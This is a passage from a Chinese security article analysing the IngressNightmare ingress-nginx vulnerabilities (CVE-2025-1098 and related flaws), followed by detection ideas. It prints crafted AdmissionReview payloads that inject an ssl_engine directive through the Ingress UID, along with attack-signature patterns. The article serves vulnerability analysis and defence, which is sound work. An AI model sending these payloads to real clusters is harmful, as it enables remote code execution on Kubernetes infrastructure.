会采用[mirror](https://github.com/kubernetes/ingress-nginx/blob/bacee47448595e0cf328d420518cde3e1258fe97/internal/ingress/annotations/mirror/main.go#L115)解析器去处理(注意其中的`config.Source`): ```go func (a mirror) Parse(ing *networking.Ingress) (interface{}, error) { config := &Config{ Source: fmt.Sprintf("/_mirror-%v", ing.UID), } ... config.Target, err = parser.GetStringAnnotation(mirrorTargetAnnotation, ing, a.annotationConfig.Annotations) if err != nil { if errors.IsValidationError(err) { klog.Warningf("annotation %s contains invalid value, defaulting", mirrorTargetAnnotation) } else { config.Target = "" config.Source = "" } } ... ``` 这里会对ingress object中的`UID`直接进行拼接作为`config.Source` 的值,该字段对应nginx配置模板中的`$location.Mirror.Source`: ```json {{ if $location.Mirror.Source }} mirror {{ $location.Mirror.Source }}; mirror_request_body {{ $location.Mirror.RequestBody }}; {{ end }} ``` 因此,可以构造payload(注意其中的`uid`): ```json { "kind": "AdmissionReview", "apiVersion": "admission.k8s.io/v1", "request": { ... "object": { "kind": "Ingress", "apiVersion": "networking.k8s.io/v1", "metadata": { ... "uid": "test;\n\n}\n}\n}\nssl_engine /proc/xx/fd/xx", "annotations": { "nginx.ingress.kubernetes.io/mirror-target": "test" //这里为任意值都行,只要符合正则表达式语法 } }, ... ``` 注入模板后,nginx配置文件如下所示: ```json ... mirror /_mirror-test; } } } ssl_engine /proc/xx/fd/xx; mirror_request_body on; ... ``` [Esonhugh/ingressNightmare-CVE-2025-1974-exps](https://github.com/Esonhugh/ingressNightmare-CVE-2025-1974-exps/blob/main/nginx-ingress/validate.json#L40)的payload如下: ```json {{- if .IsMirrorWithUID }} "uid": "InjectTest#;\n\n}\n}\n}\nssl_engine foobar",{{- end }} "annotations": { {{- if .IsMirrorWithUID }} "nginx.ingress.kubernetes.io/mirror-target": "fake-mirror-target"{{- end }} ``` ### 3.2 漏洞/攻击检测 从安全工具的角度出发,可通过以下方式检出该漏洞/攻击过程(仅列举检测思路): **漏洞检测:** - 版本号匹配:检测集群中的ingress-nginx组件是否存在,其版本号是否在受影响范围内 - poc探测:参考漏洞复现教程,使用脚本,发送构造的AdmissionReview请求,恶意库内容由反弹shell改为发送http请求,检查接收端是否有回显,可参考[nuclei的脚本](https://projectdiscovery.io/blog/ingressnightmare-unauth-rce-in-ingress-nginx#vulnerable-exposed-admission-controller-template) **漏洞攻击检测:** - 基于流量检测(IPS、WAF等): - 检测是否存在非k8s api server发送的`AdmissionReview`请求 - 检测流量特征是否包含攻击关键词,例如: - CVE-2025-24514:`AdmissionReview*nginx.ingress.kubernetes.io/auth-url*#*ssl_engine` - CVE-2025-1097:`AdmissionReview*nginx.ingress.kubernetes.io/auth-tls-match-cn*CN=*#*ssl_engine` - CVE-2025-1098:`AdmissionReview*nginx.ingress.kubernetes.io/mirror-target*uid*ssl_engine` - 基于日志检测(日志审计等工具): - 检测`ingress-nginx-controller`日志,是否存在短时间内大量`nginx -t`的配置文件测试日志,例如:  - 基于进程检测(EDR等): - 检测`ingress-nginx-controller` 容器进程命令行,是否存在短时间内大量`nginx -c /tmp/nginx/nginx-cfg* -t` 的进程启动,例如:  参考链接 ---- - [IngressNightmare: 9.8 Critical Unauthenticated Remote Code Execution Vulnerabilities in Ingress NGINX](https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities) - [IngressNightmare: Unauth RCE in Ingress NGINX (CVE-2025-1974)](https://projectdiscovery.io/blog/ingressnightmare-unauth-rce-in-ingress-nginx) - [IngressNightmare Patch and Vulnerability Analysis](https://blog.shakeylabs.com/ingressnightmare-patch-analysis/) - <https://github.com/hakaioffsec/IngressNightmare-PoC> - <https://github.com/yoshino-s/CVE-2025-1974> - <https://github.com/sandumjacob/IngressNightmare-POCs> - <https://github.com/Esonhugh/ingressNightmare-CVE-2025-1974-exps> - [【Linux】Ubuntu部署K8S集群-图文并茂(超详细)](https://blog.csdn.net/weixin_52799373/article/details/140430146) - [http://k8s(1.28.2)部署ingress-nginx-controller(1.9.0)](https://blog.csdn.net/qq_41076892/article/details/133897130) - [Kubernetes 文档-参考-API 访问控制-动态准入控制](https://kubernetes.io/zh-cn/docs/reference/access-authn-authz/extensible-admission-controllers/) 注:该文章转载自微信公众号【云原生安全指北】 
发表于 2025-04-03 09:00:01
阅读 ( 205 )
分类:
服务器应用
0 推荐
收藏
0 条评论
请先
登录
后评论
Dubito
1 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!